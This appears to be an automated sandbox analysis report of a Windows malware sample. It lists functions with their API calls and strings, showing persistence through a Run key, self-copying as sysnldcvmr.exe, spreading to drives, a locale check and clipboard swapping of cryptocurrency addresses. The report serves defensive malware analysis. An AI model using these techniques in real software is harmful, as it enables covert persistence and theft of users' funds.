Instruction ID: 49ae7997469457134309860d2c48afc7b60fa640ded9cb4765ed83937568e60c
Opcode Fuzzy Hash: 7e2cb2a5850fb0a219bc87ef1c135da7d12fecec33d78265d5402818ff1a1d43
Instruction Fuzzy Hash: 34F06535FD535176E23177612C0BF4A15185BC2F55F150019F701B91C29AD4A401E6BF

Function 009C1080 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 009C108D
CreateProcessW.KERNELBASE ref: 009C10DE
Sleep.KERNELBASE(000003E8), ref: 009C10EE
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 009C1109

Strings

open, xrefs: 009C1102
D, xrefs: 009C10C9

Memory Dump Source

Source File: 00000000.00000002.1477258605.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.1477229625.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477318610.00000000009C2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1477337602.00000000009C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_LM94OE0VNK.jbxd

Similarity

API ID: CreateExecuteProcessShellSleepmemset
String ID: D$open
API String ID: 541629773-2491301029
Opcode ID: ec114391a3c48647faaea58aa493e31e4726f830c57a60dcd7ad3c774c7d27b8
Instruction ID: 797912bfa4c32fd2082de2a74e921a9840fb2ac7aa1fdfb5e6306ebe2e040809
Opcode Fuzzy Hash: ec114391a3c48647faaea58aa493e31e4726f830c57a60dcd7ad3c774c7d27b8
Instruction Fuzzy Hash: 04019671A843007AE320DF148C46F8B7BE4AF85B00F10481DF748AA1D1E7B09548CB9B

Analysis Process: 2374323789.exePID: 7544, Parent PID: 8140COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	1437
Total number of Limit Nodes:	8

Executed Functions

Function 0040E730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,00407678), ref: 0040E743
strcmp.NTDLL ref: 0040E752

Strings

UKR, xrefs: 0040E749

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: d79b0aba27e6a1949038eec9da23d17ae17cae41793c3222a97234fc67286889
Instruction ID: f5851dfa2a24cd6eecb4ca89505c7c91e938839c44774f0d29bfbb74be006053
Opcode Fuzzy Hash: d79b0aba27e6a1949038eec9da23d17ae17cae41793c3222a97234fc67286889
Instruction Fuzzy Hash: 10E02B36E44308B6D900B6B15E03FEA772C5711B09F0045B6FF14A71C1F5B5922AC39B

Function 00407590 Relevance: 114.1, APIs: 50, Strings: 15, Instructions: 351
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000BB8), ref: 0040759E
CreateMutexA.KERNELBASE(00000000,00000000,753f85d83d), ref: 004075AD
GetLastError.KERNEL32 ref: 004075B9
ExitProcess.KERNEL32 ref: 004075C8
GetModuleFileNameW.KERNEL32(00000000,00416268,00000105), ref: 00407602
PathFindFileNameW.SHLWAPI(00416268), ref: 0040760D
wsprintfW.USER32 ref: 0040762A
DeleteFileW.KERNELBASE(?), ref: 0040763A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407651
wcscmp.NTDLL ref: 00407663
ExitProcess.KERNEL32 ref: 00407682

Strings

sysnldcvmr.exe, xrefs: 00407657, 0040769F, 00407784, 00407880
Windows Settings, xrefs: 00407737, 0040781C, 00407918
%s\%s, xrefs: 004076AB
%temp%, xrefs: 00407875
%s\%s, xrefs: 0040788C
%userprofile%, xrefs: 0040764C
%windir%, xrefs: 00407694
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004077DE
753f85d83d, xrefs: 004075A4
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004078DA
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004076F9
%s:Zone.Identifier, xrefs: 0040761E
%s\tbtnds.dat, xrefs: 0040798E
%s\tbtcmds.dat, xrefs: 004079A8
%s\%s, xrefs: 00407790

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$753f85d83d$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Windows Settings$sysnldcvmr.exe
API String ID: 4172876685-2783337622
Opcode ID: be37c590e1d8e90253e276ab3f8f4dbbb477af03a6aa52447b81e277da3d58b1
Instruction ID: e42dc10877dc27750cdf455f3f1a43eebb5fa16e92bd93e31d1e2fde4cabc692
Opcode Fuzzy Hash: be37c590e1d8e90253e276ab3f8f4dbbb477af03a6aa52447b81e277da3d58b1
Instruction Fuzzy Hash: 50D1B6B1A80314BBE720ABA0DC4AFD93734AB48B05F1085B5F709B50D1DAF9A6C4CB5D

Function 0040E980 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E98E
memset.NTDLL ref: 0040E99E
CreateProcessW.KERNELBASE(00000000,Gy@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040E9D7
Sleep.KERNELBASE(000003E8), ref: 0040E9E7
ShellExecuteW.SHELL32(00000000,open,Gy@,00000000,00000000,00000000), ref: 0040EA02
Sleep.KERNEL32(000003E8), ref: 0040EA1C

Strings

Gy@, xrefs: 0040E9D1, 0040E9F7, 0040E9D4, 0040E9FA
D, xrefs: 0040E9A6
open, xrefs: 0040E9FB
, xrefs: 0040EA11

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$Gy@$open
API String ID: 3787208655-4184347819
Opcode ID: 5ee7fdc591246df9419d0b661744b6941cf0467c5ddd8ade60e7ca7f41f9299c
Instruction ID: afb7e97e53159593a654a1f5a0506a904f07d925a59540ad2b26a1d3cea08ed0
Opcode Fuzzy Hash: 5ee7fdc591246df9419d0b661744b6941cf0467c5ddd8ade60e7ca7f41f9299c
Instruction Fuzzy Hash: 08114271A90308BBE710DB91CD46FDE7774AB04B00F200129F6087E2C1D6F9AA54CB59

Non-executed Functions

Function 004066B0 Relevance: 79.1, APIs: 35, Strings: 10, Instructions: 305
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406D30,?,?,?), ref: 004066B8
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 0040670F
wsprintfW.USER32 ref: 0040672F
wsprintfW.USER32 ref: 0040674F
wsprintfW.USER32 ref: 00406768
PathFileExistsW.SHLWAPI(?), ref: 00406778
SetFileAttributesW.KERNEL32(?,00000080), ref: 004067B1
DeleteFileW.KERNEL32(?), ref: 004067BE
PathFileExistsW.SHLWAPI(?), ref: 004067CB
PathFileExistsW.SHLWAPI(?), ref: 004067E0
SetFileAttributesW.KERNEL32(?,00000080), ref: 004067F6
DeleteFileW.KERNEL32(?), ref: 00406803
PathFileExistsW.SHLWAPI(?), ref: 00406810
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406823
SetFileAttributesW.KERNEL32(?,00000002), ref: 00406836
PathFileExistsW.SHLWAPI(?), ref: 00406843

Strings

%s\%s\DriveSecManager.exe, xrefs: 00406723
shell32.dll, xrefs: 004068A7
%s.lnk, xrefs: 004066E3
%s\*, xrefs: 0040675C
shell32.dll, xrefs: 0040688F
%s\%s, xrefs: 00406703
%s\%s, xrefs: 00406743
%s\%s\%s, xrefs: 00406B3C
%s\%s, xrefs: 00406AA2
%s\%s, xrefs: 00406B15

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$ExistsPathwsprintf$Attributes$Delete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\DriveSecManager.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2467965697-1256475382
Opcode ID: 6fdb608ebf9e3f7754ee061c031def056059c2a3e2aafc618c301169eaa81d58
Instruction ID: f76dd7f444767b2c43f85b167d980272eeebb95a9fd79305f50fc2a4155965b0
Opcode Fuzzy Hash: 6fdb608ebf9e3f7754ee061c031def056059c2a3e2aafc618c301169eaa81d58
Instruction Fuzzy Hash: BFD162B5900258ABCB20DF50DC44BEA77B8BB48304F0485EAF60AE6191D7B99BD4CF59

Function 00404970 Relevance: 70.9, APIs: 24, Strings: 16, Instructions: 905clipboardstringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 0040498C
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404D39
StrStrW.SHLWAPI(00000000,cosmos), ref: 00404D61
StrStrW.SHLWAPI(00000000,addr), ref: 00404D89
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404DC4
StrStrW.SHLWAPI(00000000,ronin:), ref: 00404DDB
StrStrW.SHLWAPI(00000000,nano_), ref: 00404DF2
StrStrW.SHLWAPI(00000000,bnb), ref: 004053A4
StrStrW.SHLWAPI(00000000,bc1p), ref: 004053C0
StrStrW.SHLWAPI(00000000,bc1q), ref: 004053DC
StrStrW.SHLWAPI(00000000,ronin:), ref: 0040545F
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00405479
StrStrW.SHLWAPI(00000000,cosmos), ref: 00405493
StrStrW.SHLWAPI(00000000,addr), ref: 004054AD
StrStrW.SHLWAPI(00000000,nano_), ref: 004054C7
lstrlenA.KERNEL32(00000000), ref: 004054DC
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 004054F7
GlobalLock.KERNEL32(00000000), ref: 0040550A
memcpy.NTDLL(00000000,00000000,-00000001), ref: 00405528
GlobalUnlock.KERNEL32(00000000), ref: 00405534
OpenClipboard.USER32(00000000), ref: 0040553C
EmptyClipboard.USER32 ref: 00405546
SetClipboardData.USER32(00000001,00000000), ref: 00405552
CloseClipboard.USER32 ref: 00405558

Strings

bnb, xrefs: 0040539B
ronin:, xrefs: 00404DD2
cosmos, xrefs: 00404D58
addr, xrefs: 004054A4
bitcoincash:, xrefs: 00405470
nano_, xrefs: 004054BE
A, xrefs: 00405446
cosmos, xrefs: 0040548A
bitcoincash:, xrefs: 00404D30
bc1q, xrefs: 004053D3
nano_, xrefs: 00404DE9
bitcoincash:, xrefs: 00404DBB
bc1p, xrefs: 004053B7
ronin:, xrefs: 00405456
addr, xrefs: 00404D80
8, xrefs: 00405401

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockmemcpy
String ID: 8$addr$addr$bc1p$bc1q$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$nano_$nano_$ronin:$ronin:$A
API String ID: 2017104846-3944006828
Opcode ID: f10c215015187a64e35910754edbf43630524a633ee39edfa593be9c6f415941
Instruction ID: c0db1a85d2b2ab719742c03712a747d69443af7a5f19e9c3a62e09ec18ebafc2
Opcode Fuzzy Hash: f10c215015187a64e35910754edbf43630524a633ee39edfa593be9c6f415941
Instruction Fuzzy Hash: E2822A70600218EACB648F45C0945BE7BB2EF82755F60C06BE8496F294D77CDED1EB98

Function 00407B20 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 00407C1D
_allshl.NTDLL ref: 00407C36
_aullshr.NTDLL ref: 00407D04
_allshl.NTDLL ref: 00407D1D
_aullshr.NTDLL ref: 00407DE6
_allshl.NTDLL ref: 00407DFF
_aullshr.NTDLL ref: 00407EC8
_allshl.NTDLL ref: 00407EE1
_aullshr.NTDLL ref: 00407FAA
_allshl.NTDLL ref: 00407FC3
_aullshr.NTDLL ref: 00408086
_allshl.NTDLL ref: 0040809F
_aullshr.NTDLL ref: 00408162
_allshl.NTDLL ref: 0040817B
_aullshr.NTDLL ref: 0040823E
_allshl.NTDLL ref: 00408257
_aullshr.NTDLL ref: 0040831A
_allshl.NTDLL ref: 00408333
_aullshr.NTDLL ref: 004083F6
_allshl.NTDLL ref: 0040840F
_aullshr.NTDLL ref: 004084D2
_allshl.NTDLL ref: 004084EB
_aullshr.NTDLL ref: 004085AE
_allshl.NTDLL ref: 004085C7
_aullshr.NTDLL ref: 0040868A
_allshl.NTDLL ref: 004086A3
_aullshr.NTDLL ref: 00408766
_allshl.NTDLL ref: 0040877F
_aullshr.NTDLL ref: 00408842
_allshl.NTDLL ref: 0040885B
_aullshr.NTDLL ref: 00408918
_allshl.NTDLL ref: 00408931
_allshl.NTDLL ref: 00408952
_aullshr.NTDLL ref: 00408963

Strings

Y, xrefs: 00407B40

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: 94dc8271308eded007e7ea5b0fb9da388c093141b97384e1eb8e9f213d101719
Instruction ID: c2d4c50a35bfe5f8cd224c9e55e2257f54aee963b80b02c573e24d91c8b8cf0b
Opcode Fuzzy Hash: 94dc8271308eded007e7ea5b0fb9da388c093141b97384e1eb8e9f213d101719
Instruction Fuzzy Hash: 40D22A79D11619EFCB54CF99C18099EFBF1FF88360F62859AD845AB305C630AA91DF80

Function 00407B49 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 00407C1D
_allshl.NTDLL ref: 00407C36
_aullshr.NTDLL ref: 00407D04
_allshl.NTDLL ref: 00407D1D
_aullshr.NTDLL ref: 00407DE6
_allshl.NTDLL ref: 00407DFF
_aullshr.NTDLL ref: 00407EC8
_allshl.NTDLL ref: 00407EE1
_aullshr.NTDLL ref: 00407FAA
_allshl.NTDLL ref: 00407FC3
_aullshr.NTDLL ref: 00408086
_allshl.NTDLL ref: 0040809F
_aullshr.NTDLL ref: 00408162
_allshl.NTDLL ref: 0040817B
_aullshr.NTDLL ref: 0040823E
_allshl.NTDLL ref: 00408257
_aullshr.NTDLL ref: 0040831A
_allshl.NTDLL ref: 00408333
_aullshr.NTDLL ref: 004083F6
_allshl.NTDLL ref: 0040840F
_aullshr.NTDLL ref: 004084D2
_allshl.NTDLL ref: 004084EB
_aullshr.NTDLL ref: 004085AE
_allshl.NTDLL ref: 004085C7
_aullshr.NTDLL ref: 0040868A
_allshl.NTDLL ref: 004086A3
_aullshr.NTDLL ref: 00408766
_allshl.NTDLL ref: 0040877F
_aullshr.NTDLL ref: 00408842
_allshl.NTDLL ref: 0040885B
_aullshr.NTDLL ref: 00408918
_allshl.NTDLL ref: 00408931
_allshl.NTDLL ref: 00408952
_aullshr.NTDLL ref: 00408963

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: f562728b4ae2ad839a046a61e7ae0d2c61abff421672d19278971dcd63bd6e21
Instruction ID: bf2a4b6287689beed617d1f95a7506b70f8f7bc33f40ac888a8e51c3a2640481
Opcode Fuzzy Hash: f562728b4ae2ad839a046a61e7ae0d2c61abff421672d19278971dcd63bd6e21
Instruction Fuzzy Hash: 5FD22A79D11619EFCB54CF99C18099EFBF1FF88360F62859AD845AB305C630AA91DF80

Function 00406570 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(ok@,00000000), ref: 0040657F
wsprintfW.USER32 ref: 00406595
FindFirstFileW.KERNEL32(?,?), ref: 004065AC
lstrcmpW.KERNEL32(?,00411108), ref: 004065D1
lstrcmpW.KERNEL32(?,0041110C), ref: 004065E7
wsprintfW.USER32 ref: 0040660A
wsprintfW.USER32 ref: 0040662A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406666
FindNextFileW.KERNEL32(000000FF,?), ref: 0040667A
FindClose.KERNEL32(000000FF), ref: 0040668F
RemoveDirectoryW.KERNEL32(?), ref: 00406699

Strings

%s\%s, xrefs: 004065FE
ok@, xrefs: 0040657B, 0040661A, 0040657E, 0040661D
%s\*, xrefs: 00406589
%s\%s, xrefs: 0040661E

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$ok@
API String ID: 92872011-32713442
Opcode ID: bdcae0db678ffea431cb11009663f4446319228456e5c176b7e99ad091f418f3
Instruction ID: 6b6780eb73bc58f0ce40e07c43f053b4d902fc918dfc6bbc5558198ff1b4ac31
Opcode Fuzzy Hash: bdcae0db678ffea431cb11009663f4446319228456e5c176b7e99ad091f418f3
Instruction Fuzzy Hash: AB3127B5900218AFCB10DB60EC89FDA7778BB48701F4085A9F609A3195DB75DAD4CF58

Function 00405970 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040597C
SetClipboardViewer.USER32(?), ref: 004059C8
SetWindowLongW.USER32(?,000000EB,?), ref: 004059DB
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A30
OpenClipboard.USER32(00000000), ref: 00405A77
GetClipboardData.USER32(00000000), ref: 00405A89
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B90
ChangeClipboardChain.USER32(?,?), ref: 00405B9E
DefWindowProcA.USER32(?,?,?,?), ref: 00405BB4

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 350a456a18ca66a485c2eebe1f768ad2515d325cb078b6b0c19f9934b7d85170
Instruction ID: 2c6a07511b676f4089081adff438ee2b95572153aa6d486a7a165f398962c3b3
Opcode Fuzzy Hash: 350a456a18ca66a485c2eebe1f768ad2515d325cb078b6b0c19f9934b7d85170
Instruction Fuzzy Hash: 9A711A74A00608EBDF14DFA4D988BAF77B4EF48301F14852AE505B6290D779AA80CF69

Function 00406BC0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00406BCE
GetModuleFileNameW.KERNEL32(00000000,00415E58,00000104), ref: 00406BE0

Part of subcall function 0040E770: CreateFileW.KERNEL32(00406BF0,80000000,00000001,00000000,00000003,00000000,00000000,00406BF0), ref: 0040E790
Part of subcall function 0040E770: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E7A5
Part of subcall function 0040E770: CloseHandle.KERNEL32(000000FF), ref: 0040E7B2

ExitThread.KERNEL32 ref: 00406D4A

Part of subcall function 004063A0: GetLogicalDrives.KERNEL32 ref: 004063A6
Part of subcall function 004063A0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 004063F4
Part of subcall function 004063A0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406421
Part of subcall function 004063A0: RegCloseKey.ADVAPI32(?), ref: 0040643E

Sleep.KERNEL32(00000BB8), ref: 00406D3D

Part of subcall function 004062C0: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406313

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C7F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C94
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406CAF
wsprintfW.USER32 ref: 00406CC2
wsprintfW.USER32 ref: 00406CE2
wsprintfW.USER32 ref: 00406D05

Strings

(%dGB), xrefs: 00406CB6
%s%s, xrefs: 00406CF9
Unnamed volume, xrefs: 00406CD6

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 3ff50a499cc3cb1ca5597e24ae18a8291f76a1d6cde0f573ca4de3ef4abdd767
Instruction ID: f0476b63a1379e6dca01d87e2afc3553bbde202c422fcd3a3a6a752a7ad43008
Opcode Fuzzy Hash: 3ff50a499cc3cb1ca5597e24ae18a8291f76a1d6cde0f573ca4de3ef4abdd767
Instruction Fuzzy Hash: 53418471900318ABEB14DB94DD45FEE7778BB44700F1045A9F20AA51D0DB785B94CF6A

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D130: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D14E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D160: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D184
Part of subcall function 0040D160: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D1DF
Part of subcall function 0040D160: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D21C
Part of subcall function 0040D160: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D227
Part of subcall function 0040D160: DuplicateHandle.KERNEL32(00000000), ref: 0040D22E
Part of subcall function 0040D160: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D242

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 37cf53b06a8410454a1798d38201431a2759ba3d0e51bc8328308ef715640324
Instruction ID: bb6f584dfdc5104726d227d4109236b5a11985639f999f99e629cd7821b1dbc1
Opcode Fuzzy Hash: 37cf53b06a8410454a1798d38201431a2759ba3d0e51bc8328308ef715640324
Instruction Fuzzy Hash: 3F41B270640301ABD3209F749C4AF4B77E4AF48710F108A2DF669EA2D4E7F4E845875A

Function 0040D710 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040D72A
htons.WS2_32(0000076C), ref: 0040D760
inet_addr.WS2_32(239.255.255.250), ref: 0040D76F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040D78D

Part of subcall function 0040AA80: htons.WS2_32(00000050), ref: 0040AAAD
Part of subcall function 0040AA80: socket.WS2_32(00000002,00000001,00000000), ref: 0040AACD
Part of subcall function 0040AA80: connect.WS2_32(000000FF,?,00000010), ref: 0040AAE6
Part of subcall function 0040AA80: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AB18

bind.WS2_32(000000FF,?,00000010), ref: 0040D7C3
lstrlenA.KERNEL32(00411760,00000000,?,00000010), ref: 0040D7DC
sendto.WS2_32(000000FF,00411760,00000000), ref: 0040D7EB
